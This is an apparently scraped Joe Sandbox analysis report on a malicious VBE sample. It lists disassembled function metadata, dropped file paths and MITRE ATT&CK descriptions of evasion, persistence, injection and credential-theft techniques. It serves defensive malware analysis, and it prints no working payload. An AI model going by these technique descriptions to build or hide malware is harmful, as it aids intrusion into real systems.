Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: memset$ArgvCommandFreeLineLocal
String ID: /LDAP:
API String ID: 439219084-3282177907
Opcode ID: 2e2ee4d2bc82a385b8fd1da9ba77710b36d3e87966c42bc70224376b0ef9f0c5
Instruction ID: b69856df6e253131ebdfb810c4b7c9da47e7026341efff229d5072d594eb769d
Opcode Fuzzy Hash: 2e2ee4d2bc82a385b8fd1da9ba77710b36d3e87966c42bc70224376b0ef9f0c5
Instruction Fuzzy Hash: B581C771A022989BCB24DF25DC89BA9B3B9FF1C310F1441A9E50AD7252D7389E82CF54

Function 007E2A7E Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 90
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,?,?,00000000,m(~,?,007E2BA4,?,?,8000FFFF,00000000,?,?,?,007E286D,?), ref: 007E2ACC
HeapAlloc.KERNEL32(00000000,?,007E2BA4,?,?,8000FFFF,00000000,?,?,?,007E286D,?,?), ref: 007E2AD3
memcpy.MSVCRT ref: 007E2AEB
GetProcessHeap.KERNEL32(00000000,?,?,007E2BA4,?,?,8000FFFF,00000000,?,?,?,007E286D,?,?), ref: 007E2B37
HeapFree.KERNEL32(00000000,?,007E2BA4,?,?,8000FFFF,00000000,?,?,?,007E286D,?,?), ref: 007E2B3E

Strings

m(~, xrefs: 007E2A83

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: Heap$Process$AllocFreememcpy
String ID: m(~
API String ID: 3405790324-1437496304
Opcode ID: bf8a3b40ae0d2ea3eee82fffe05c6ef49a38e3c52c832864b605757d4fcf0064
Instruction ID: 6f335e43f0f3d0b8dc111026c0a1215dda21fd7d598a51f8488e72b5f8998139
Opcode Fuzzy Hash: bf8a3b40ae0d2ea3eee82fffe05c6ef49a38e3c52c832864b605757d4fcf0064
Instruction Fuzzy Hash: 232107B1A026D29BDB255E2E9884B15BB9EBB0C314F108125E9158F292FB7CDC52C7D0

Function 007E3675 Relevance: 7.6, APIs: 5, Instructions: 50
timethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 007E36A2
GetCurrentProcessId.KERNEL32 ref: 007E36B1
GetCurrentThreadId.KERNEL32 ref: 007E36BA
GetTickCount.KERNEL32 ref: 007E36C3
QueryPerformanceCounter.KERNEL32(?), ref: 007E36D8

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 7fdc3f87a26cd6c83a3264ee28b85abe6e128488a35182e482e5940b161a9d21
Instruction ID: a13af62109f460f5e059d9fbf239f420a59c2593fd44fb4b561cbebb5b8a564b
Opcode Fuzzy Hash: 7fdc3f87a26cd6c83a3264ee28b85abe6e128488a35182e482e5940b161a9d21
Instruction Fuzzy Hash: D711EC71D02648EBCB10DFB9EA8869EBBF4FF5C355F5184A5E501EB250E6389B008B44

Function 007E32C0 Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,007E33F6,`@~), ref: 007E32C7
UnhandledExceptionFilter.KERNEL32(007E33F6,?,007E33F6,`@~), ref: 007E32D0
GetCurrentProcess.KERNEL32(C0000409,?,007E33F6,`@~), ref: 007E32DB
TerminateProcess.KERNEL32(00000000,?,007E33F6,`@~), ref: 007E32E2

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: a29708d481392324a5b7c7818aef3e5f84d732bb62da8f0b54270be44690d03d
Instruction ID: d43a94798d50b4d88cc5f76a8560b9632a8167a7d26dfbd7bf6b7151449ef478
Opcode Fuzzy Hash: a29708d481392324a5b7c7818aef3e5f84d732bb62da8f0b54270be44690d03d
Instruction Fuzzy Hash: BFD0C93200158CAFDB002BF5EC4CE493E28FB8C32AF048400F30DCE020CA3944118BA9

Function 007E3450 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00003400), ref: 007E3455

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a904035e5aa1762118391a71e44b106d12d829855a20629eb23d60d43d894d5
Instruction ID: 98ed998ce125ffcfd0794d7b47e9b18ba65d256c6ffc3df6b74ae0a3ea4aac8d
Opcode Fuzzy Hash: 8a904035e5aa1762118391a71e44b106d12d829855a20629eb23d60d43d894d5
Instruction Fuzzy Hash: 089002A03575C446460217755C5E51529916A8D70F7824490B005CE098DA5842015956

Function 007E3530 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

5~, xrefs: 007E3553

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID:
String ID: 5~
API String ID: 0-4055697937
Opcode ID: a766d3b511325246591146fa678ec37a36ce2690c67ca02a39aa05bc8c5beb23
Instruction ID: 9c2131ed8d29d33ca908f992f65a42a079f4a996344cbd620b585686c7602962
Opcode Fuzzy Hash: a766d3b511325246591146fa678ec37a36ce2690c67ca02a39aa05bc8c5beb23
Instruction Fuzzy Hash: 9DF0A7337052505B8B448B5FDC8497EB3DADAC873471A806AE50887302EA38ED528294

Function 007E2F80 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 007E34D8: GetModuleHandleW.KERNEL32(00000000), ref: 007E34DF

__set_app_type.MSVCRT ref: 007E2F92
__p__fmode.MSVCRT ref: 007E2FA8
__p__commode.MSVCRT ref: 007E2FB6
__setusermatherr.MSVCRT ref: 007E2FD7

Memory Dump Source

Source File: 00000010.00000002.879003034396.00000000007E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 007E0000, based on PE: true

Associated: 00000010.00000002.879002995876.00000000007E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E5000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007E7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.879003077019.00000000007FD000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7e0000_GrOcCQC.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: f34f5f8569c830c4da93f142878c8b01a085f47109bdaa3a41b49712c8c258e2
Instruction ID: e0e4a26291b0fa5928602a19e4bca3f66d7248ae94fde8abb52a91594139e866
Opcode Fuzzy Hash: f34f5f8569c830c4da93f142878c8b01a085f47109bdaa3a41b49712c8c258e2
Instruction Fuzzy Hash: E5F0F8B09077C4CFC7286B31ACCE6143BB0B70D325B108659E5629F2E1DB3D85508A18

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Inquiry Studbolt - 240703.vbe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2jggd3f.0gy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhx2myhm.43u.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xmx2r0kx.r2f.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zi4jvttu.wlo.psm1

C:\Users\user\AppData\Roaming\Belleric74.Afs

C:\Users\user\AppData\Roaming\GrOcCQC\GrOcCQC.exe

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
Inquiry Studbolt - 240703.vbe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre